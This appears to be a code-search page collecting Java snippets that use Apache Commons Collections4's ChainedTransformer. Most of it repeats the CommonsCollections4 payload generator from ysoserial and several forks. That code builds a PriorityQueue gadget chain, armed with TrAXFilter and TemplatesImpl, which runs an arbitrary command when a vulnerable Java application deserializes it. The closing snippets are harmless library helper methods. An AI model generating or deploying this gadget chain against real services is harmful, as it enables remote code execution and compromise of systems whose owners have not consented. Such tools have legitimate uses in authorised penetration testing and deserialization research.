Java 类org.apache.commons.collections4.functors.ChainedTransformer 实例源码

项目:APacheSynapseSimplePOC    文件:CommonsCollections4.java   
public Queue<Object> getObject(final String command) throws Exception {
    Object templates = Gadgets.createTemplatesImpl(command);

    ConstantTransformer constant = new ConstantTransformer(String.class);

    // mock method name until armed
    Class[] paramTypes = new Class[] { String.class };
    Object[] args = new Object[] { "foo" };
    InstantiateTransformer instantiate = new InstantiateTransformer(
            paramTypes, args);

    // grab defensively copied arrays
    paramTypes = (Class[]) Reflections.getFieldValue(instantiate, "iParamTypes");
    args = (Object[]) Reflections.getFieldValue(instantiate, "iArgs");

    ChainedTransformer chain = new ChainedTransformer(new Transformer[] { constant, instantiate });

    // create queue with numbers
    PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(chain));
    queue.add(1);
    queue.add(1);

    // swap in values to arm
    Reflections.setFieldValue(constant, "iConstant", TrAXFilter.class);
    paramTypes[0] = Templates.class;
    args[0] = templates;

    return queue;
}
项目:ysoserial-modified    文件:CommonsCollections4.java   
public Queue<Object> getObject(CmdExecuteHelper cmdHelper) throws Exception {

    Object templates = Gadgets.createTemplatesImpl(cmdHelper.getCommandArray());

    ConstantTransformer constant = new ConstantTransformer(String.class);

    // mock method name until armed
    Class[] paramTypes = new Class[] { String.class };
    Object[] args = new Object[] { "foo" };
    InstantiateTransformer instantiate = new InstantiateTransformer(
            paramTypes, args);

    // grab defensively copied arrays
    paramTypes = (Class[]) Reflections.getFieldValue(instantiate, "iParamTypes");
    args = (Object[]) Reflections.getFieldValue(instantiate, "iArgs");

    ChainedTransformer chain = new ChainedTransformer(new Transformer[] { constant, instantiate });

    // create queue with numbers
    PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(chain));
    queue.add(1);
    queue.add(1);

    // swap in values to arm
    Reflections.setFieldValue(constant, "iConstant", TrAXFilter.class);
    paramTypes[0] = Templates.class;
    args[0] = templates;

    return queue;
}
项目:ysoserial-plus    文件:CommonsCollections4.java   
public Queue<Object> getObject(final String command) throws Exception {
    Object templates = Gadgets.createTemplatesImpl(command);

    ConstantTransformer constant = new ConstantTransformer(String.class);

    // mock method name until armed
    Class[] paramTypes = new Class[] { String.class };
    Object[] args = new Object[] { "foo" };
    InstantiateTransformer instantiate = new InstantiateTransformer(
            paramTypes, args);

    // grab defensively copied arrays
    paramTypes = (Class[]) Reflections.getFieldValue(instantiate, "iParamTypes");
    args = (Object[]) Reflections.getFieldValue(instantiate, "iArgs");

    ChainedTransformer chain = new ChainedTransformer(new Transformer[] { constant, instantiate });

    // create queue with numbers
    PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(chain));
    queue.add(1);
    queue.add(1);

    // swap in values to arm
    Reflections.setFieldValue(constant, "iConstant", TrAXFilter.class);
    paramTypes[0] = Templates.class;
    args[0] = templates;

    return queue;
}
项目:JavaSerialKiller    文件:CommonsCollections4.java   
public Queue<Object> getObject(final String command) throws Exception {
    TemplatesImpl templates = Gadgets.createTemplatesImpl(command);

    ConstantTransformer constant = new ConstantTransformer(String.class);

    // mock method name until armed
    Class[] paramTypes = new Class[] { String.class };
    Object[] args = new Object[] { "foo" };
    InstantiateTransformer instantiate = new InstantiateTransformer(
            paramTypes, args);

    // grab defensively copied arrays
    paramTypes = (Class[]) Reflections.getFieldValue(instantiate, "iParamTypes");
    args = (Object[]) Reflections.getFieldValue(instantiate, "iArgs");

    ChainedTransformer chain = new ChainedTransformer(new Transformer[] { constant, instantiate });

    // create queue with numbers
    PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(chain));
    queue.add(1);
    queue.add(1);

    // swap in values to arm
    Reflections.setFieldValue(constant, "iConstant", TrAXFilter.class);
    paramTypes[0] = Templates.class;
    args[0] = templates;

    return queue;
}
项目:ysoserial    文件:CommonsCollections4.java   
public Queue<Object> getObject(final String command) throws Exception {
    Object templates = Gadgets.createTemplatesImpl(command);

    ConstantTransformer constant = new ConstantTransformer(String.class);

    // mock method name until armed
    Class[] paramTypes = new Class[] { String.class };
    Object[] args = new Object[] { "foo" };
    InstantiateTransformer instantiate = new InstantiateTransformer(
            paramTypes, args);

    // grab defensively copied arrays
    paramTypes = (Class[]) Reflections.getFieldValue(instantiate, "iParamTypes");
    args = (Object[]) Reflections.getFieldValue(instantiate, "iArgs");

    ChainedTransformer chain = new ChainedTransformer(new Transformer[] { constant, instantiate });

    // create queue with numbers
    PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(chain));
    queue.add(1);
    queue.add(1);

    // swap in values to arm
    Reflections.setFieldValue(constant, "iConstant", TrAXFilter.class);
    paramTypes[0] = Templates.class;
    args[0] = templates;

    return queue;
}
项目:HCFCore    文件:TransformerUtils.java   
/**
 * Create a new Transformer that calls each transformer in turn, passing the
 * result into the next transformer.
 *
 * @param <T>  the input/output type
 * @param transformers  an array of transformers to chain
 * @return the transformer
 * @throws NullPointerException if the transformers array or any of the transformers is null
 * @see ChainedTransformer
 */
public static <T> Transformer<T, T> chainedTransformer(
        final Transformer<? super T, ? extends T>... transformers) {
    return ChainedTransformer.chainedTransformer(transformers);
}
项目:HCFCore    文件:TransformerUtils.java   
/**
 * Create a new Transformer that calls each transformer in turn, passing the
 * result into the next transformer. The ordering is that of the iterator()
 * method on the collection.
 *
 * @param <T>  the input/output type
 * @param transformers  a collection of transformers to chain
 * @return the transformer
 * @throws NullPointerException if the transformers collection or any of the transformers is null
 * @see ChainedTransformer
 */
public static <T> Transformer<T, T> chainedTransformer(
        final Collection<? extends Transformer<? super T, ? extends T>> transformers) {
    return ChainedTransformer.chainedTransformer(transformers);
}
项目:HCFCore    文件:TransformerUtils.java   
/**
 * Create a new Transformer that calls each transformer in turn, passing the
 * result into the next transformer.
 *
 * @param <T>  the input/output type
 * @param transformers  an array of transformers to chain
 * @return the transformer
 * @throws NullPointerException if the transformers array or any of the transformers is null
 * @see ChainedTransformer
 */
public static <T> Transformer<T, T> chainedTransformer(
        final Transformer<? super T, ? extends T>... transformers) {
    return ChainedTransformer.chainedTransformer(transformers);
}
项目:HCFCore    文件:TransformerUtils.java   
/**
 * Create a new Transformer that calls each transformer in turn, passing the
 * result into the next transformer. The ordering is that of the iterator()
 * method on the collection.
 *
 * @param <T>  the input/output type
 * @param transformers  a collection of transformers to chain
 * @return the transformer
 * @throws NullPointerException if the transformers collection or any of the transformers is null
 * @see ChainedTransformer
 */
public static <T> Transformer<T, T> chainedTransformer(
        final Collection<? extends Transformer<? super T, ? extends T>> transformers) {
    return ChainedTransformer.chainedTransformer(transformers);
}